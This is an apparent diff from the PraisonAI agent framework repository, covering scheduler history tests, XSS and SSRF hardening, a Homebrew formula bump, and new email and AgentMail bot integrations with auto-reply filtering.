history = store.get_history()
assert len(history) == 3
assert history[0].job_name == "Third"
assert history[1].job_name == "Second"
assert history[2].job_name == "First"
def test_get_history_filter_by_job_id(self):
"""Test filtering history by job_id."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
store.log_run(job_id="job1", status="succeeded", job_name="Job 1 Run 1")
store.log_run(job_id="job2", status="succeeded", job_name="Job 2 Run 1")
store.log_run(job_id="job1", status="failed", job_name="Job 1 Run 2")
all_history = store.get_history()
assert len(all_history) == 3
job1_history = store.get_history(job_id="job1")
assert len(job1_history) == 2
assert all(r.job_id == "job1" for r in job1_history)
def test_get_history_limit(self):
"""Test history limit parameter."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
for i in range(10):
store.log_run(job_id=f"job{i}", status="succeeded", job_name=f"Job {i}")
limited = store.get_history(limit=5)
assert len(limited) == 5
def test_history_max_limit_enforcement(self):
"""Test that history is pruned to max_history."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir, max_history=5)
for i in range(10):
store.log_run(job_id=f"job{i}", status="succeeded", job_name=f"Job {i}")
history = store.get_history()
assert len(history) == 5
# Should have the 5 most recent (jobs 5-9)
assert history[0].job_name == "Job 9"
assert history[4].job_name == "Job 5"
def test_history_persistence(self):
"""Test that history is persisted to disk."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
# Create store and add history
store1 = FileScheduleStore(store_dir=tmpdir)
store1.log_run(job_id="job1", status="succeeded", result="Result 1", job_name="Job 1")
store1.log_run(job_id="job2", status="failed", error="Error 2", job_name="Job 2")
# Verify file exists
history_path = os.path.join(tmpdir, "history.json")
assert os.path.exists(history_path)
# Create new store and verify history is loaded
store2 = FileScheduleStore(store_dir=tmpdir)
history = store2.get_history()
assert len(history) == 2
assert history[0].job_name == "Job 2"
assert history[1].job_name == "Job 1"
def test_result_truncation(self):
"""Test that long results are truncated."""
from praisonaiagents.scheduler.store import FileScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
long_result = "x" * 5000
store.log_run(job_id="job1", status="succeeded", result=long_result, job_name="Job 1")
history = store.get_history()
assert len(history[0].result) == 2000
class TestConfigYamlScheduleStoreHistory:
"""Tests for ConfigYamlScheduleStore history functionality."""
def test_log_run_creates_history(self):
"""Test that log_run adds a history record."""
from praisonaiagents.scheduler.config_store import ConfigYamlScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
config_path = os.path.join(tmpdir, "config.yaml")
store = ConfigYamlScheduleStore(config_path=config_path)
assert len(store.get_history()) == 0
store.log_run(
job_id="job1",
status="succeeded",
result="Test result",
duration=1.0,
delivered=True,
job_name="Test Job",
)
history = store.get_history()
assert len(history) == 1
assert history[0].job_id == "job1"
assert history[0].status == "succeeded"
def test_history_persistence_yaml(self):
"""Test that history is persisted to YAML file."""
from praisonaiagents.scheduler.config_store import ConfigYamlScheduleStore
with tempfile.TemporaryDirectory() as tmpdir:
config_path = os.path.join(tmpdir, "config.yaml")
# Create store and add history
store1 = ConfigYamlScheduleStore(config_path=config_path)
store1.log_run(job_id="job1", status="succeeded", job_name="Job 1")
# Verify history file exists
history_path = os.path.join(tmpdir, "run_history.yaml")
assert os.path.exists(history_path)
# Create new store and verify history is loaded
store2 = ConfigYamlScheduleStore(config_path=config_path)
history = store2.get_history()
assert len(history) == 1
assert history[0].job_id == "job1"
class TestScheduleRunnerHistory:
"""Tests for ScheduleRunner.mark_run() with history params."""
def test_mark_run_logs_history(self):
"""Test that mark_run calls log_run on the store."""
from praisonaiagents.scheduler.runner import ScheduleRunner
from praisonaiagents.scheduler.store import FileScheduleStore
from praisonaiagents.scheduler.models import ScheduleJob, Schedule
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
runner = ScheduleRunner(store)
job = ScheduleJob(
name="Test Job",
schedule=Schedule(kind="every", every_seconds=60),
message="Test message",
)
store.add(job)
# Mark run with history params
runner.mark_run(
job,
status="succeeded",
result="Agent response",
duration=2.5,
delivered=True,
)
# Verify history was logged
history = store.get_history()
assert len(history) == 1
assert history[0].job_id == job.id
assert history[0].job_name == "Test Job"
assert history[0].status == "succeeded"
assert history[0].result == "Agent response"
assert history[0].duration == 2.5
assert history[0].delivered is True
def test_mark_run_updates_last_run_at(self):
"""Test that mark_run still updates last_run_at."""
from praisonaiagents.scheduler.runner import ScheduleRunner
from praisonaiagents.scheduler.store import FileScheduleStore
from praisonaiagents.scheduler.models import ScheduleJob, Schedule
with tempfile.TemporaryDirectory() as tmpdir:
store = FileScheduleStore(store_dir=tmpdir)
runner = ScheduleRunner(store)
job = ScheduleJob(
name="Test Job",
schedule=Schedule(kind="every", every_seconds=60),
message="Test message",
)
store.add(job)
assert job.last_run_at is None
runner.mark_run(job, status="succeeded")
# Verify last_run_at was updated
updated_job = store.get(job.id)
assert updated_job.last_run_at is not None
class TestSchedulerExports:
"""Tests for scheduler module exports."""
def test_run_record_exported(self):
"""Test that RunRecord is exported from scheduler module."""
from praisonaiagents.scheduler import RunRecord
record = RunRecord(job_id="test", status="succeeded")
assert record.job_id == "test"
def test_all_exports_available(self):
"""Test that all expected exports are available."""
from praisonaiagents import scheduler
assert hasattr(scheduler, "RunRecord")
assert hasattr(scheduler, "ScheduleJob")
assert hasattr(scheduler, "Schedule")
assert hasattr(scheduler, "DeliveryTarget")
assert hasattr(scheduler, "FileScheduleStore")
assert hasattr(scheduler, "ConfigYamlScheduleStore")
assert hasattr(scheduler, "ScheduleRunner")
assert hasattr(scheduler, "ScheduleStoreProtocol")
+873 -79
View File
File diff suppressed because it is too large. Load diff
+4 -9
View File
@@ -50,16 +50,11 @@ PraisonAI 🦞 — Automate and solve complex challenges with AI agent teams tha
## ⚡ Performance
PraisonAI Agents is the **fastest AI agent framework** for agent instantiation.
PraisonAI is built for speed, with agent instantiation in under 4μs. This reduces overhead, improves responsiveness, and helps multi-agent systems scale efficiently in real-world production workloads.
| Framework | Avg Time (μs) | Relative |
|-----------|---------------|----------|
| **PraisonAI** | **3.77** | **1.00x (fastest)** |
| OpenAI Agents SDK | 5.26 | 1.39x |
| Agno | 5.64 | 1.49x |
| PraisonAI (LiteLLM) | 7.56 | 2.00x |
| PydanticAI | 226.94 | 60.16x |
| LangGraph | 4,558.71 | 1,209x |
| Performance Metric | PraisonAI |
|--------------------|-----------|
| Avg Instantiation Time | **3.77 μs** |
---
+20 -1
View File
@@ -1,4 +1,5 @@
from flask import Flask
from markupsafe import escape
import markdown
app = Flask(__name__)
@@ -11,7 +12,25 @@ def basic():
@app.route('/')
def home():
output = basic()
html_output = markdown.markdown(output)
# Convert markdown to HTML, then sanitize the output to prevent XSS
html_output = markdown.markdown(str(output))
# Use bleach to sanitize HTML output (allows safe tags only)
try:
import bleach
allowed_tags = ['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li',
'strong', 'em', 'code', 'pre', 'blockquote', 'a', 'br', 'hr']
allowed_attrs = {'a': ['href', 'title']}
# Strip javascript: URLs from href attributes
def filter_href(tag, name, value):
if name == 'href':
if value.lower().startswith(('javascript:', 'data:', 'vbscript:')):
return False
return True
html_output = bleach.clean(html_output, tags=allowed_tags, attributes=allowed_attrs,
strip=True, protocols=['http', 'https', 'mailto'])
except ImportError:
# Fallback: escape the entire output if bleach not available
html_output = str(escape(html_output))
return f'<html><body>{html_output}</body></html>'
if __name__ == "__main__":
+2 -2
View File
@@ -3,8 +3,8 @@ class Praisonai < Formula
desc "AI tools for various AI applications"
homepage "https://github.com/MervinPraison/PraisonAI"
url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.63.tar.gz"
sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.63.tar.gz | shasum -a 256`.split.first
url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.80.tar.gz"
sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.80.tar.gz | shasum -a 256`.split.first
license "MIT"
depends_on "[email protected]"
@@ -271,6 +271,23 @@ class URLReader:
return []
try:
# Validate URL to prevent SSRF
from urllib.parse import urlparse
parsed = urlparse(source)
if parsed.scheme not in ("http", "https"):
logger.error(f"Unsupported URL scheme: {parsed.scheme}")
return []
import ipaddress
try:
import socket
hostname = parsed.hostname or ""
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local:
logger.error(f"URL resolves to private/reserved IP: {ip}")
return []
except (socket.gaierror, ValueError):
pass # Let the request handle DNS resolution errors
response = httpx.get(source, timeout=30, follow_redirects=True)
response.raise_for_status()
content = response.text
+9 -1
View File
@@ -12,6 +12,8 @@ if TYPE_CHECKING:
from .discord import DiscordBot
from .slack import SlackBot
from .whatsapp import WhatsAppBot
from .email import EmailBot
from .agentmail import AgentMailBot
from .bot import Bot
from .botos import BotOS
from ._slack_approval import SlackApproval
@@ -34,6 +36,12 @@ def __getattr__(name: str):
if name == "WhatsAppBot":
from .whatsapp import WhatsAppBot
return WhatsAppBot
if name == "EmailBot":
from .email import EmailBot
return EmailBot
if name == "AgentMailBot":
from .agentmail import AgentMailBot
return AgentMailBot
if name == "Bot":
from .bot import Bot
return Bot
@@ -58,7 +66,7 @@ def __getattr__(name: str):
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
__all__ = [
"TelegramBot", "DiscordBot", "SlackBot", "WhatsAppBot",
"TelegramBot", "DiscordBot", "SlackBot", "WhatsAppBot", "EmailBot", "AgentMailBot",
"Bot", "BotOS",
"SlackApproval", "TelegramApproval", "DiscordApproval",
"WebhookApproval", "HTTPApproval",
+13 -1
View File
@@ -24,10 +24,22 @@ class AgentConfigSchema(BaseModel):
class ChannelConfigSchema(BaseModel):
"""Schema for a single channel configuration."""
token: str = ""
mode: str = "poll" # poll | ws | webhook | hybrid
group_policy: str = "respond_all" # respond_all, mention_only, command_only
allowlist: List[str] = Field(default_factory=list)
blocklist: List[str] = Field(default_factory=list)
webhook_url: Optional[str] = None
webhook_port: int = 8080
@field_validator("mode")
@classmethod
def validate_mode(cls, v: str) -> str:
allowed = {"poll", "ws", "webhook", "hybrid"}
if v not in allowed:
raise ValueError(
f"Invalid mode '{v}'. Must be one of: {', '.join(sorted(allowed))}"
)
return v
@field_validator("token")
@classmethod
@@ -91,7 +103,7 @@ class BotYamlSchema(BaseModel):
"(telegram, discord, slack, whatsapp) to your bot.yaml"
)
# Validate channel names
valid_platforms = {"telegram", "discord", "slack", "whatsapp"}
valid_platforms = {"telegram", "discord", "slack", "whatsapp", "email", "agentmail"}
for name in self.channels:
if name not in valid_platforms:
raise ValueError(
@@ -0,0 +1,128 @@
"""
Shared email utilities for PraisonAI bots.
Contains common email logic used by both EmailBot (IMAP/SMTP) and AgentMailBot (API).
"""
from __future__ import annotations
from typing import Dict, Set
# Headers that indicate auto-generated/auto-reply emails
AUTO_REPLY_HEADERS: Set[str] = {
"auto-submitted",
"x-auto-response-suppress",
"x-autoreply",
"x-autorespond",
"x-autogenerated",
"precedence", # Often set to "bulk" or "auto_reply"
}
# Sender patterns to never reply to (prevents loops)
BLOCKED_SENDERS: Set[str] = {
"mailer-daemon",
"postmaster",
"noreply",
"no-reply",
"donotreply",
"do-not-reply",
"bounce",
"auto",
"daemon",
}
def is_auto_reply(headers: Dict[str, str]) -> bool:
"""Check if email headers indicate an auto-reply.
Args:
headers: Dictionary of email headers (case-insensitive keys recommended).
Returns:
True if the email appears to be an auto-reply.
"""
headers_lower = {k.lower(): v for k, v in headers.items()}
for header in AUTO_REPLY_HEADERS:
if header in headers_lower:
value = headers_lower[header]
# auto-submitted: auto-replied, auto-generated, auto-notified
if header == "auto-submitted" and value and value.lower() != "no":
return True
# precedence: bulk, junk, list, auto_reply
if header == "precedence" and value and value.lower() in ("bulk", "junk", "auto_reply"):
return True
# Other headers: any non-empty value indicates auto-reply
if header not in ("auto-submitted", "precedence") and value:
return True
return False
def is_blocked_sender(sender: str) -> bool:
"""Check if sender should be blocked (system addresses, no-reply, etc.).
Args:
sender: Email address or display name of sender.
Returns:
True if the sender should not receive replies.
"""
if not sender:
return True
sender_lower = sender.lower()
return any(blocked in sender_lower for blocked in BLOCKED_SENDERS)
def extract_email_address(full_address: str) -> str:
"""Extract email address from a full address string.
Args:
full_address: Full address like "John Doe <[email protected]>" or "[email protected]"
Returns:
Just the email address part.
"""
if not full_address:
return ""
# Handle "Name <email>" format
if "<" in full_address and ">" in full_address:
start = full_address.index("<") + 1
end = full_address.index(">")
return full_address[start:end].strip()
return full_address.strip()
def normalize_subject(subject: str, strip_prefixes: bool = True) -> str:
"""Normalize email subject for comparison/threading.
Args:
subject: Original subject line.
strip_prefixes: If True, removes Re:, Fwd:, etc.
Returns:
Normalized subject string.
"""
if not subject:
return ""
result = subject.strip()
if strip_prefixes:
# Remove common reply/forward prefixes
prefixes = ("re:", "fwd:", "fw:", "aw:", "sv:", "vs:")
while True:
lower = result.lower()
stripped = False
for prefix in prefixes:
if lower.startswith(prefix):
result = result[len(prefix):].strip()
stripped = True
break
if not stripped:
break
return result
@@ -15,6 +15,8 @@ _BUILTIN_PLATFORMS: Dict[str, tuple] = {
"discord": ("praisonai.bots.discord", "DiscordBot"),
"slack": ("praisonai.bots.slack", "SlackBot"),
"whatsapp": ("praisonai.bots.whatsapp", "WhatsAppBot"),
"email": ("praisonai.bots.email", "EmailBot"),
"agentmail": ("praisonai.bots.agentmail", "AgentMailBot"),
}
# Custom platforms registered at runtime
+913
View File
@@ -0,0 +1,913 @@
"""
AgentMail Bot implementation for PraisonAI.
Provides an agent-native email bot using the AgentMail API for zero-config
email functionality. No IMAP/SMTP setup required.
Requires: pip install agentmail
"""
from __future__ import annotations
import asyncio
import logging
import os
import time
import uuid
from typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union
if TYPE_CHECKING:
from praisonaiagents import Agent
from praisonai.bots._protocol_mixin import ChatCommandMixin, MessageHookMixin
from praisonaiagents.bots import (
BotConfig,
BotMessage,
BotUser,
BotChannel,
MessageType,
ProbeResult,
HealthResult,
)
from ._session import BotSessionManager
from ._email_utils import is_auto_reply, is_blocked_sender, extract_email_address
logger = logging.getLogger(__name__)
class AgentMailBot(ChatCommandMixin, MessageHookMixin):
"""Agent-native email bot using AgentMail API.
Zero-config email for agents — no IMAP/SMTP setup required.
Creates dedicated inboxes programmatically via AgentMail API.
Example:
from praisonai.bots import AgentMailBot
from praisonaiagents import Agent
agent = Agent(name="email_assistant")
bot = AgentMailBot(
token="am_...", # AGENTMAIL_API_KEY
agent=agent,
)
await bot.start()
print(bot.email_address) # [email protected]
Environment variables (if not passed directly):
AGENTMAIL_API_KEY: API key for AgentMail service
AGENTMAIL_INBOX_ID: Optional existing inbox ID to reuse
AGENTMAIL_DOMAIN: Optional custom domain for inbox creation
"""
def __init__(
self,
token: str,
agent: Optional["Agent"] = None,
config: Optional[BotConfig] = None,
inbox_id: Optional[str] = None,
domain: Optional[str] = None,
polling_interval: int = 10,
mode: Optional[str] = None,
webhook_port: Optional[int] = None,
**kwargs,
):
"""Initialize AgentMailBot.
Args:
token: AgentMail API key (or set AGENTMAIL_API_KEY env var)
agent: PraisonAI agent to handle messages
config: Bot configuration
inbox_id: Existing inbox ID to reuse (optional)
domain: Custom domain for new inbox (optional)
polling_interval: Seconds between polling for new messages
mode: Event mode — poll (default), ws, webhook, or hybrid
webhook_port: Port for webhook server (default: 8080)
**kwargs: Additional configuration
"""
self._token = token or os.getenv("AGENTMAIL_API_KEY", "")
self._agent = agent
self._inbox_id = inbox_id or os.getenv("AGENTMAIL_INBOX_ID")
self._domain = domain or os.getenv("AGENTMAIL_DOMAIN")
self._polling_interval = polling_interval
# Bot state
self._is_running = False
self._started_at: Optional[float] = None
self._bot_user: Optional[BotUser] = None
self._email_address: Optional[str] = None
self._poll_task: Optional[asyncio.Task] = None
self._ws_task: Optional[asyncio.Task] = None
self._stop_event = asyncio.Event()
# AgentMail clients (lazy loaded)
self._client: Any = None
self._async_client: Any = None
# Webhook server state
self._webhook_runner: Any = None
self._webhook_site: Any = None
# Session manager for conversation state
self.config = config or BotConfig()
self._session = BotSessionManager(self.config)
# Resolve mode: explicit param > config > default
if mode:
self._mode = mode
elif self.config.mode != "poll":
self._mode = self.config.mode
else:
self._mode = "poll"
# Resolve webhook port
self._webhook_port = webhook_port or self.config.webhook_port
# Command and message handlers
self._command_handlers: Dict[str, Callable] = {}
self._message_handlers: List[Callable] = []
# Track processed message IDs to avoid duplicates
self._processed_ids: set = set()
@property
def platform(self) -> str:
"""Platform identifier."""
return "agentmail"
@property
def is_running(self) -> bool:
"""Whether the bot is currently running."""
return self._is_running
@property
def bot_user(self) -> Optional[BotUser]:
"""The bot's user identity."""
return self._bot_user
@property
def email_address(self) -> Optional[str]:
"""The bot's email address."""
return self._email_address
def get_agent(self) -> Optional["Agent"]:
"""Get the associated agent."""
return self._agent
def set_agent(self, agent: "Agent") -> None:
"""Set the associated agent."""
self._agent = agent
def _get_client(self) -> Any:
"""Lazy load sync AgentMail client."""
if self._client is None:
try:
from agentmail import AgentMail
self._client = AgentMail(api_key=self._token)
except ImportError:
raise ImportError(
"AgentMail package not installed. "
"Install with: pip install agentmail"
)
return self._client
def _get_async_client(self) -> Any:
"""Lazy load async AgentMail client (for WS mode)."""
if self._async_client is None:
try:
from agentmail import AsyncAgentMail
self._async_client = AsyncAgentMail(api_key=self._token)
except ImportError:
raise ImportError(
"AgentMail package not installed. "
"Install with: pip install agentmail"
)
return self._async_client
async def start(self) -> None:
"""Start the AgentMail bot.
Creates or connects to an inbox and begins receiving messages
using the configured mode (poll, ws, webhook, or hybrid).
"""
if self._is_running:
logger.warning("AgentMailBot is already running")
return
if not self._token:
raise ValueError(
"AgentMail API key required. Set AGENTMAIL_API_KEY env var or pass token parameter."
)
client = self._get_client()
# Create or get inbox
if self._inbox_id:
# Use existing inbox — inbox_id IS the email address in AgentMail SDK
self._email_address = self._inbox_id
logger.info(f"Using existing AgentMail inbox: {self._email_address}")
else:
# Create new inbox
try:
inbox_params = {}
if self._domain:
inbox_params["domain"] = self._domain
inbox = client.inboxes.create(**inbox_params)
# SDK v0.4.7: inbox_id IS the email address (e.g. "[email protected]")
self._inbox_id = inbox.inbox_id
self._email_address = inbox.inbox_id
logger.info(f"Created AgentMail inbox: {self._email_address}")
except Exception as e:
raise ConnectionError(f"Failed to create inbox: {e}")
self._bot_user = BotUser(
user_id=self._inbox_id,
username=self._email_address,
display_name=self._email_address.split("@")[0] if self._email_address else "agent",
is_bot=True,
)
self._is_running = True
self._started_at = time.time()
self._stop_event.clear()
# Branch on mode
if self._mode == "ws":
self._ws_task = asyncio.create_task(self._ws_loop())
logger.info(f"AgentMailBot started (ws): {self._email_address}")
elif self._mode == "webhook":
await self._start_webhook_mode()
logger.info(f"AgentMailBot started (webhook): {self._email_address}")
elif self._mode == "hybrid":
self._ws_task = asyncio.create_task(self._ws_loop())
self._poll_task = asyncio.create_task(
self._poll_loop(interval_override=60)
)
logger.info(f"AgentMailBot started (hybrid): {self._email_address}")
else:
# Default: poll mode (existing behaviour — zero breaking change)
self._poll_task = asyncio.create_task(self._poll_loop())
logger.info(f"AgentMailBot started (poll): {self._email_address}")
async def stop(self) -> None:
"""Stop the AgentMail bot."""
if not self._is_running:
return
self._is_running = False
self._stop_event.set()
# Cancel poll task
if self._poll_task:
self._poll_task.cancel()
try:
await self._poll_task
except asyncio.CancelledError:
pass
self._poll_task = None
# Cancel WS task
if self._ws_task:
self._ws_task.cancel()
try:
await self._ws_task
except asyncio.CancelledError:
pass
self._ws_task = None
# Stop webhook server
if self._webhook_site:
await self._webhook_site.stop()
self._webhook_site = None
if self._webhook_runner:
await self._webhook_runner.cleanup()
self._webhook_runner = None
logger.info("AgentMailBot stopped")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Poll mode (existing behaviour)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
async def _poll_loop(self, interval_override: Optional[int] = None) -> None:
"""Poll for new messages.
Args:
interval_override: Override polling interval (used by hybrid mode
to set a slower 60s fallback poll).
"""
interval = interval_override or self._polling_interval
while self._is_running:
try:
await self._check_new_messages()
except Exception as e:
logger.error(f"Error checking messages: {e}")
# Wait for interval or stop signal
try:
await asyncio.wait_for(
self._stop_event.wait(),
timeout=interval
)
break # Stop event was set
except asyncio.TimeoutError:
continue # Normal timeout, continue polling
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# WebSocket mode
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
async def _ws_loop(self) -> None:
"""WebSocket event loop with auto-reconnect.
Connects to AgentMail WebSocket API, subscribes to message.received
events for this inbox, and processes them via _handle_message.
Reconnects with exponential backoff on disconnection.
"""
backoff = 1 # Start at 1s
max_backoff = 60
while self._is_running:
try:
await self._ws_connect_and_listen()
# If we exit cleanly (stop called), break
if not self._is_running:
break
except asyncio.CancelledError:
raise
except Exception as e:
if not self._is_running:
break
logger.warning(
f"WebSocket disconnected: {e}. "
f"Reconnecting in {backoff}s..."
)
try:
await asyncio.wait_for(
self._stop_event.wait(),
timeout=backoff
)
break # Stop was requested during backoff
except asyncio.TimeoutError:
pass
backoff = min(backoff * 2, max_backoff)
else:
# Reset backoff on clean disconnect
backoff = 1
async def _ws_connect_and_listen(self) -> None:
"""Single WebSocket connection session."""
try:
from agentmail import AsyncAgentMail, Subscribe, MessageReceivedEvent
except ImportError:
raise ImportError(
"AgentMail package not installed. "
"Install with: pip install agentmail"
)
async_client = self._get_async_client()
async with async_client.websockets.connect() as ws:
# Subscribe to message.received events for this inbox
await ws.send_subscribe(
Subscribe(
event_types=["message.received"],
inbox_ids=[self._inbox_id] if self._inbox_id else None,
)
)
logger.info(f"WebSocket connected, subscribed to {self._inbox_id}")
async for event in ws:
if not self._is_running:
break
if isinstance(event, MessageReceivedEvent):
await self._handle_ws_event(event)
async def _handle_ws_event(self, event: Any) -> None:
"""Convert a WebSocket MessageReceivedEvent to BotMessage and handle."""
try:
msg_id = getattr(event, 'message_id', None)
if not msg_id:
return
# Dedup — shared with poll mode
if msg_id in self._processed_ids:
return
self._processed_ids.add(msg_id)
sender_raw = getattr(event, 'from_', '') or ''
sender_email = extract_email_address(sender_raw)
# Skip auto-replies and blocked senders
headers = getattr(event, 'headers', {}) or {}
if is_auto_reply(headers):
logger.debug(f"Skipping auto-reply from {sender_email}")
return
if is_blocked_sender(sender_email):
logger.debug(f"Skipping blocked sender: {sender_email}")
return
body = getattr(event, 'extracted_text', '') or getattr(event, 'text', '') or ''
message = BotMessage(
message_id=msg_id,
content=body,
message_type=MessageType.TEXT,
sender=BotUser(
user_id=sender_email,
username=sender_email,
display_name=sender_email.split("@")[0] if sender_email else "unknown",
),
channel=BotChannel(
channel_id=self._inbox_id,
name=self._email_address or self._inbox_id,
),
thread_id=getattr(event, 'thread_id', None),
metadata={
"subject": getattr(event, 'subject', ''),
"message_id": msg_id,
"in_reply_to": getattr(event, 'in_reply_to', ''),
"source": "websocket",
},
)
await self._handle_message(message)
except Exception as e:
logger.error(f"Error handling WS event: {e}")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Webhook mode
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
async def _start_webhook_mode(self) -> None:
"""Start an aiohttp webhook server to receive AgentMail events."""
try:
from aiohttp import web
except ImportError:
raise ImportError(
"aiohttp required for webhook mode. "
"Install with: pip install aiohttp"
)
app = web.Application()
webhook_path = self.config.webhook_path or "/webhook"
app.router.add_post(webhook_path, self._handle_email_webhook)
app.router.add_get("/health", self._handle_health_check)
self._webhook_runner = web.AppRunner(app)
await self._webhook_runner.setup()
self._webhook_site = web.TCPSite(
self._webhook_runner, "0.0.0.0", self._webhook_port
)
await self._webhook_site.start()
logger.info(
f"Webhook server listening on 0.0.0.0:{self._webhook_port}{webhook_path}"
)
# Register webhook with AgentMail API
if self.config.webhook_url:
try:
client = self._get_client()
webhook_url = self.config.webhook_url.rstrip("/") + webhook_path
client.webhooks.create(
url=webhook_url,
event_types=["message.received"],
inbox_ids=[self._inbox_id] if self._inbox_id else None,
)
logger.info(f"Registered webhook: {webhook_url}")
except Exception as e:
logger.warning(f"Failed to register webhook with AgentMail: {e}")
async def _handle_email_webhook(self, request: Any) -> Any:
"""Handle incoming webhook POST from AgentMail."""
from aiohttp import web
try:
body = await request.json()
except Exception:
return web.Response(status=400, text="Invalid JSON")
# Extract event type
event_type = body.get("type", "")
if event_type != "message.received":
return web.Response(status=200, text="OK")
# Process asynchronously — return 200 immediately
asyncio.create_task(self._process_webhook_payload(body))
return web.Response(status=200, text="OK")
async def _process_webhook_payload(self, body: Dict[str, Any]) -> None:
"""Process a webhook payload in the background."""
try:
data = body.get("data", body)
msg_id = data.get("message_id", "")
if not msg_id:
return
# Dedup
if msg_id in self._processed_ids:
return
self._processed_ids.add(msg_id)
sender_raw = data.get("from", data.get("from_", ""))
sender_email = extract_email_address(sender_raw)
headers = data.get("headers", {})
if is_auto_reply(headers):
return
if is_blocked_sender(sender_email):
return
body_text = data.get("extracted_text", "") or data.get("text", "")
message = BotMessage(
message_id=msg_id,
content=body_text,
message_type=MessageType.TEXT,
sender=BotUser(
user_id=sender_email,
username=sender_email,
display_name=sender_email.split("@")[0] if sender_email else "unknown",
),
channel=BotChannel(
channel_id=self._inbox_id,
name=self._email_address or self._inbox_id,
),
thread_id=data.get("thread_id"),
metadata={
"subject": data.get("subject", ""),
"message_id": msg_id,
"in_reply_to": data.get("in_reply_to", ""),
"source": "webhook",
},
)
await self._handle_message(message)
except Exception as e:
logger.error(f"Error processing webhook payload: {e}")
async def _handle_health_check(self, request: Any) -> Any:
"""Health check endpoint for webhook server."""
from aiohttp import web
import json
health = await self.health()
return web.Response(
status=200 if health.ok else 503,
text=json.dumps(health.to_dict()),
content_type="application/json",
)
async def _check_new_messages(self) -> None:
"""Check for and process new messages."""
client = self._get_client()
try:
# SDK v0.4.7: list() returns ListMessagesResponse with .messages list
response = client.inboxes.messages.list(self._inbox_id)
msg_list = response.messages if hasattr(response, 'messages') else response
for msg in msg_list:
# SDK v0.4.7: Message uses .message_id, not .id
msg_id = msg.message_id
# Skip already processed
if msg_id in self._processed_ids:
continue
self._processed_ids.add(msg_id)
# SDK v0.4.7: Message uses .from_ (not .from_address)
sender_raw = getattr(msg, 'from_', '') or ''
sender_email = extract_email_address(sender_raw)
# Skip auto-replies and blocked senders
headers = getattr(msg, 'headers', {}) or {}
if is_auto_reply(headers):
logger.debug(f"Skipping auto-reply from {sender_email}")
continue
if is_blocked_sender(sender_email):
logger.debug(f"Skipping blocked sender: {sender_email}")
continue
# Build BotMessage — SDK uses .text / .extracted_text, not .body
body = getattr(msg, 'extracted_text', '') or getattr(msg, 'text', '') or ''
message = BotMessage(
message_id=msg_id,
content=body,
message_type=MessageType.TEXT,
sender=BotUser(
user_id=sender_email,
username=sender_email,
display_name=sender_email.split("@")[0] if sender_email else "unknown",
),
channel=BotChannel(
channel_id=self._inbox_id,
name=self._email_address or self._inbox_id,
),
thread_id=getattr(msg, 'thread_id', None),
metadata={
"subject": getattr(msg, 'subject', ''),
"message_id": msg_id,
"in_reply_to": getattr(msg, 'in_reply_to', ''),
},
)
await self._handle_message(message)
except Exception as e:
logger.error(f"AgentMail API error: {e}")
async def _handle_message(self, message: BotMessage) -> None:
"""Handle an incoming email message."""
# Fire message hooks
self.fire_message_received(message)
# Check command prefix in subject
subject = message.metadata.get("subject", "")
if subject.startswith(self.config.command_prefix):
command = subject[len(self.config.command_prefix):].split()[0].lower()
if command in self._command_handlers:
try:
await self._command_handlers[command](message)
except Exception as e:
logger.error(f"Command handler error: {e}")
return
# Call registered message handlers
for handler in self._message_handlers:
try:
result = handler(message)
if asyncio.iscoroutine(result):
await result
except Exception as e:
logger.error(f"Message handler error: {e}")
# Process with agent if available
if self._agent:
sender_id = message.sender.user_id if message.sender else "unknown"
body = message.content
try:
response = await self._session.chat(
self._agent,
sender_id,
body,
)
if response:
# Reply to sender
reply_subject = f"Re: {subject}" if subject else "Re: Your message"
await self.send_message(
channel_id=sender_id,
content={"subject": reply_subject, "body": response},
reply_to=message.metadata.get("message_id"),
thread_id=message.thread_id,
)
except Exception as e:
logger.error(f"Agent processing error: {e}")
async def send_message(
self,
channel_id: str,
content: Union[str, Dict[str, Any]],
reply_to: Optional[str] = None,
thread_id: Optional[str] = None,
**kwargs,
) -> BotMessage:
"""Send an email message.
Args:
channel_id: Recipient email address
content: Message content (str or {"subject": ..., "body": ...})
reply_to: Message-ID to reply to
thread_id: Thread ID for conversation tracking
Returns:
The sent message
"""
# Parse content
if isinstance(content, dict):
subject = content.get("subject", "Message from PraisonAI")
body = content.get("body", "")
else:
subject = "Message from PraisonAI"
body = str(content)
# Fire sending hook
self.fire_message_sending(channel_id, body)
client = self._get_client()
# Send via AgentMail API
# SDK v0.4.7: uses text= (not body=); reply_to= is Reply-To header
